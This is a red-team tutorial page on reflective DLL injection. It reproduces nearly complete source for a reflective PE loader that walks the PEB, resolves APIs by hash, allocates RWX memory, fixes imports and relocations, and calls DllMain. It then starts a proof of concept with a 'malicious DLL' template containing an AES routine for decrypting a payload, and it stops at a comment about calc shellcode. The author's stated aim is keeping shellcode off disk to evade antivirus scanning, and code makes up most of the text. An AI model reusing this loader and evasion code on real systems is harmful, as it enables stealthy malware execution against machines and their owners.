Reflective loader

Last updated 4 months ago

Was this helpful?

Reflective loader

the main idea behind this to laod pe library directly in memory without using any file on disk and it's corporate to metaspoint framework
our shellcode will reside just on memory not on disk so we automatically bypassing an AV scanning file

Pe loader has a function named "ReflectiveLoader" Once this function is called, it's started to resolving few function and allocate some new memory regions. in the process, after that it's copied header and sections from itself and goes to import table and resolve all the function needed by dlls After that, it fixes all the allocating of the pe and than calls the entry point dllmain

Understanding the source code of the reflective loader:

We will start searching for the location address where we are uisng the "caller()" function
We loop through memory in reverse to locate the base address of our image
We identify the memory addresses of critical functions, such as VirtualAlloc and GetProcAddress
Load sections of the malicious DLL into memory
Save the entry point of our malicious DLL and use "NtFlashInstruction" function to update our relocation
Invoke the DLL's entry point directly from memory

Typically, when using LoadLibrary, the function requires an argument of type (LPCSTR lpLibFileName), which necessitates interaction with files on disk. It cannot resolve a DLL located solely in virtual memory. Therefore, to address this limitation we need to implement our own custom LoadLibrary function from scratch

Source Code of ReflectiveLoader project

this chapter will contain explaication of each section of code

ReflectiveLoader.c

Step 1:

getting the return address from register of our actual location in memory and search through it until we find the "IMAGE_DOS_SIGNATURE" in DOS section and than we use it to determine the NT_HEADER because we want to find data directory section and search there to determine some address of functions we gonna need

#include "ReflectiveLoader.h"
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
#pragma intrinsic( _ReturnAddress )


//getting the return address from rip/eip register of the actual address where we are
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,  
//         otherwise the DllMain at the end of this file will be used.

// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
//         otherwise it is assumed you are calling the ReflectiveLoader via a stub.

// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif

	// STEP 0: calculate our images current base address

	// we will start searching backwards from our callers return address.
	uiLibraryAddress = caller();

	// loop through memory backwards searching for our images base address
	// we dont need SEH style search as we shouldnt generate any access violations with this
	while( TRUE )
	{
		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
			{
				uiHeaderValue += uiLibraryAddress;
				// break if we have found a valid MZ/PE header
				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
					break;
			}
		}
		uiLibraryAddress--;
	}

Step 2:

Retrieve the PEB address to determine the base address of each dll and also calculate the hash of dlls name and compare it with dll hash we want to take his base address and determine directory header which contain VA (virtual address), ordinals, array pointer name

// Some code
// STEP 1: process the kernels exports for the functions our loader needs...

	// get the Process Enviroment Block
#ifdef WIN_X64
	uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	// get the first entry of the InMemoryOrder module list
	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while( uiValueA )
	{
		// get pointer to current modules name (unicode string)
		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
		// set bCounter to the length for the loop
		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
		// clear uiValueC which will store the hash of the module name
		uiValueC = 0;

		// compute the hash of the module name...
		do
		{
			uiValueC = ror( (DWORD)uiValueC );
			// normalize to uppercase if the madule name is in lowercase
			if( *((BYTE *)uiValueB) >= 'a' )
				uiValueC += *((BYTE *)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE *)uiValueB);
			uiValueB++;
		} while( --usCounter );

		// compare the hash with that of kernel32.dll
		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory
			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of name pointers
			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
			
			// get the VA for the array of name ordinals
			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 3;

Step 3:

determine address of each functions we want in kernel32 dll like "VirtuatAlloc" and "GetProcAddress" and "LoadLibrary"

// loop while we still have imports to find
			while( usCounter > 0 )
			{
				// compute the hash values for this function name
				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
				
				// if we have found a function we want we get its virtual address
				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
				{
					// get the VA for the array of addresses
					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					// store this functions VA
					if( dwHashValue == LOADLIBRARYA_HASH )
						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == GETPROCADDRESS_HASH )
						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == VIRTUALALLOC_HASH )
						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			
					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}

step 4:

determine address of function in NTDLL dll like pNtFlushInstructionCache function

// Some code
}
		else if( (DWORD)uiValueC == NTDLLDLL_HASH )
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory
			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of name pointers
			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
			
			// get the VA for the array of name ordinals
			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 1;

			// loop while we still have imports to find
			while( usCounter > 0 )
			{
				// compute the hash values for this function name
				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
				
				// if we have found a function we want we get its virtual address
				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
				{
					// get the VA for the array of addresses
					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					// store this functions VA
					if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}

		// we stop searching when we have found everything we need.
		if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
			break;

		// get the next entry
		uiValueA = DEREF( uiValueA );
	}

Step 5:

Finally the last step is to load sections headers our malicious header into memory and determine his entry point to execute our dll directly when is load it memory

// Some code
// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

	// we must now copy over the headers
	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

	while( uiValueA-- )
		*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

	// STEP 3: load in all of our sections...

	// uiValueA = the VA of the first section
	uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
	
	// itterate through all sections, loading them into memory.
	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while( uiValueE-- )
	{
		// uiValueB is the VA for this section
		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

		// uiValueC if the VA for this sections data
		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

		// copy the section over
		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while( uiValueD-- )
			*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

		// get the VA of the next section
		uiValueA += sizeof( IMAGE_SECTION_HEADER );
	}

	// STEP 4: process our images import table...

	// uiValueB = the address of the import directory
	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
	
	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
	
	// itterate through all imports
	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
	{
		// use LoadLibraryA to load the imported module into memory
		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

		// uiValueD = VA of the OriginalFirstThunk
		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
	
		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

		// itterate through all imported functions, importing by ordinal if no name present
		while( DEREF(uiValueA) )
		{
			// sanity check uiValueD as some compilers only import by FirstThunk
			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
			{
				// get the VA of the modules NT Header
				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				// uiNameArray = the address of the modules export directory entry
				uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

				// get the VA of the export directory
				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

				// get the VA for the array of addresses
				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

				// patch in the address for this imported function
				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
			}
			else
			{
				// get the VA of this functions import by name struct
				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

				// use GetProcAddress and patch in the address for this imported function
				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
			}
			// get the next imported function
			uiValueA += sizeof( ULONG_PTR );
			if( uiValueD )
				uiValueD += sizeof( ULONG_PTR );
		}

		// get the next import
		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
	}

	// STEP 5: process all of our images relocations...

	// calculate the base address delta and perform relocations (even if we load at desired image base)
	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

	// uiValueB = the address of the relocation directory
	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

	// check if their are any relocations present
	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
	{
		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

		// and we itterate through all entries...
		while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
		{
			// uiValueA = the VA for this relocation block
			uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
			
			/*IMAGE_BASE_RELOCATION - DataStructur: 
			typedef struct _IMAGE_BASE_RELOCATION {
  			DWORD   VirtualAddress;
  			DWORD   SizeOfBlock;
			} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
			*/
			// uiValueB = number of entries in this relocation block
			uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

			// uiValueD is now the first entry in the current relocation block
			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while( uiValueB-- )
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
					*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
				// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
				{	
					register DWORD dwInstruction;
					register DWORD dwAddress;
					register WORD wImm;
					// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
					dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
					// flip the words to get the instruction as expected
					dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
					// sanity chack we are processing a MOV instruction...
					if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
					{
						// pull out the encoded 16bit value (the high portion of the address-to-relocate)
						wImm  = (WORD)( dwInstruction & 0x000000FF);
						wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
						wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
						wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
						// apply the relocation to the target address
						dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
						// now create a new instruction with the same opcode and register param.
						dwInstruction  = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
						// patch in the relocated address...
						dwInstruction |= (DWORD)(dwAddress & 0x00FF);
						dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
						dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
						dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
						// now flip the instructions words and patch back into the code...
						*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
					}
				}
#endif
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

				// get the next entry in the current relocation block
				uiValueD += sizeof( IMAGE_RELOC );
			}

			// get the next entry in the relocation directory
			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		}
	}

	// STEP 6: call our images entry point

	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

	// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
	pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

	// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

	// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
	return uiValueA;
}

in this final step we go through all the entries in the block to add the delta base address which calculated by "uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;" and than get the entry point of the dll and return it.

ReflectiveLoader.h

#pragma once

#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H

//is intended for a 64-bit Windows environment
#define WIN_X64

//because we are injecting the DLL via LoadRemoteLibraryR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 

//===============================================================================================//
/*
WIN32_LEAN_AND_MEAN:
This line defines the WIN32_LEAN_AND_MEAN macro. In Windows programming, 
defining this macro excludes some less commonly used headers from the Windows API. 
It helps reduce compilation times and minimize the size of the compiled binary by 
excluding unnecessary parts of the API. However, it also means that certain functionality may not be available unless explicitly included.
*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h> //contain type format

#include "ReflectiveDLLInjection.h"

typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);

#define KERNEL32DLL_HASH				0x6A4ABC5B
#define NTDLLDLL_HASH					0x3CFA685D

#define LOADLIBRARYA_HASH				0xEC0E4E8E
#define GETPROCADDRESS_HASH				0x7C0DFCAA
#define VIRTUALALLOC_HASH				0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH	0x534C0AB8

#define IMAGE_REL_BASED_ARM_MOV32A		5
#define IMAGE_REL_BASED_ARM_MOV32T		7

#define ARM_MOV_MASK					(DWORD)(0xFBF08000)
#define ARM_MOV_MASK2					(DWORD)(0xFBF08F00)
#define ARM_MOVW						0xF2400000
#define ARM_MOVT						0xF2C00000

#define HASH_KEY						13
//===============================================================================================//
#pragma intrinsic( _rotr ) //lead to more efficient code in terms of execution speed or code size.

__forceinline DWORD ror(DWORD d) //the compiler considers replacing the function call with the actual code of the ror
{
	return _rotr(d, HASH_KEY);
}

__forceinline DWORD hash(char* c)
{
	register DWORD h = 0;
	do
	{
		h = ror(h);
		h += *c;
	} while (*++c);

	return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) ) 
typedef struct _LDR_DATA_TABLE_ENTRY
{
	//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STR FullDllName;
	UNICODE_STR BaseDllName;
	ULONG Flags;
	SHORT LoadCount;
	SHORT TlsIndex;
	LIST_ENTRY HashTableEntry;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
	DWORD dwLength;
	DWORD dwInitialized;
	LPVOID lpSsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
	struct _PEB_FREE_BLOCK* pNext;
	DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;

// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
	BYTE bInheritedAddressSpace;
	BYTE bReadImageFileExecOptions;
	BYTE bBeingDebugged;
	BYTE bSpareBool;
	LPVOID lpMutant;
	LPVOID lpImageBaseAddress;
	PPEB_LDR_DATA pLdr;
	LPVOID lpProcessParameters;
	LPVOID lpSubSystemData;
	LPVOID lpProcessHeap;
	PRTL_CRITICAL_SECTION pFastPebLock;
	LPVOID lpFastPebLockRoutine;
	LPVOID lpFastPebUnlockRoutine;
	DWORD dwEnvironmentUpdateCount;
	LPVOID lpKernelCallbackTable;
	DWORD dwSystemReserved;
	DWORD dwAtlThunkSListPtr32;
	PPEB_FREE_BLOCK pFreeList;
	DWORD dwTlsExpansionCounter;
	LPVOID lpTlsBitmap;
	DWORD dwTlsBitmapBits[2];
	LPVOID lpReadOnlySharedMemoryBase;
	LPVOID lpReadOnlySharedMemoryHeap;
	LPVOID lpReadOnlyStaticServerData;
	LPVOID lpAnsiCodePageData;
	LPVOID lpOemCodePageData;
	LPVOID lpUnicodeCaseTableData;
	DWORD dwNumberOfProcessors;
	DWORD dwNtGlobalFlag;
	LARGE_INTEGER liCriticalSectionTimeout;
	DWORD dwHeapSegmentReserve;
	DWORD dwHeapSegmentCommit;
	DWORD dwHeapDeCommitTotalFreeThreshold;
	DWORD dwHeapDeCommitFreeBlockThreshold;
	DWORD dwNumberOfHeaps;
	DWORD dwMaximumNumberOfHeaps;
	LPVOID lpProcessHeaps;
	LPVOID lpGdiSharedHandleTable;
	LPVOID lpProcessStarterHelper;
	DWORD dwGdiDCAttributeList;
	LPVOID lpLoaderLock;
	DWORD dwOSMajorVersion;
	DWORD dwOSMinorVersion;
	WORD wOSBuildNumber;
	WORD wOSCSDVersion;
	DWORD dwOSPlatformId;
	DWORD dwImageSubsystem;
	DWORD dwImageSubsystemMajorVersion;
	DWORD dwImageSubsystemMinorVersion;
	DWORD dwImageProcessAffinityMask;
	DWORD dwGdiHandleBuffer[34];
	LPVOID lpPostProcessInitRoutine;
	LPVOID lpTlsExpansionBitmap;
	DWORD dwTlsExpansionBitmapBits[32];
	DWORD dwSessionId;
	ULARGE_INTEGER liAppCompatFlags;
	ULARGE_INTEGER liAppCompatFlagsUser;
	LPVOID lppShimData;
	LPVOID lpAppCompatInfo;
	UNICODE_STR usCSDVersion;
	LPVOID lpActivationContextData;
	LPVOID lpProcessAssemblyStorageMap;
	LPVOID lpSystemDefaultActivationContextData;
	LPVOID lpSystemAssemblyStorageMap;
	DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;

typedef struct
{
	WORD	offset : 12; //1 byte
	WORD	type : 4; //1 byte
} IMAGE_RELOC, * PIMAGE_RELOC; //structure of Bloc in BaseRelloc (2 bytes bloc size)
//===============================================================================================//
#endif
//===============================================================================================//

the question here why we use those line in our header file ?

#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H

The primary purpose of the include guard is to ensure that the contents of the header file are included only once in a translation unit, preventing problems associated with multiple definitions and compilation errors. They help maintain a consistent and error-free build environment, In many modern codebases, using include guards has become a standard practice to maintain code integrity and to avoid unexpected issues during the build process. It's a small but essential aspect of writing modular and maintainable C and C++ code.

explain more "__forceinline" declaration

Inlining is an optimization technique where, instead of making a traditional function call, the compiler takes the body of the called function and directly inserts it at the location where the function is called.

ReflectiveDLLInjection.h

// Some code
#pragma once //as alternative of "ifdef" and "ifndef"

//===============================================================================================//
//In case if the compiler not supporting the progma once 
//Traditional Header Guards
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

// we declare some common stuff in here...

#define DLL_QUERY_HMODULE		6

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);

#define DLLEXPORT   __declspec( dllexport ) 

//===============================================================================================//
#endif
//===============================================================================================//

POC - 1

in this chapter we will apply this technique to inject a our malicious dll which contain a calc shellcode

Step 1: Create malicious DLL (MainDLL)

we will first create our malicious dll that we want to inject into memory instead disk

 /*

 Red Team Operator course code template
 Reflective DLL proxy template

 author: reenz0h (twitter: @SEKTOR7net)

*/
#include "ReflectiveLoader.h"
#include <windows.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return -1;
    }
    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
        return -1;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return -1;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
        return -1;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

    return 0;
}

// calc shellcode (exitThread) - 64-bit
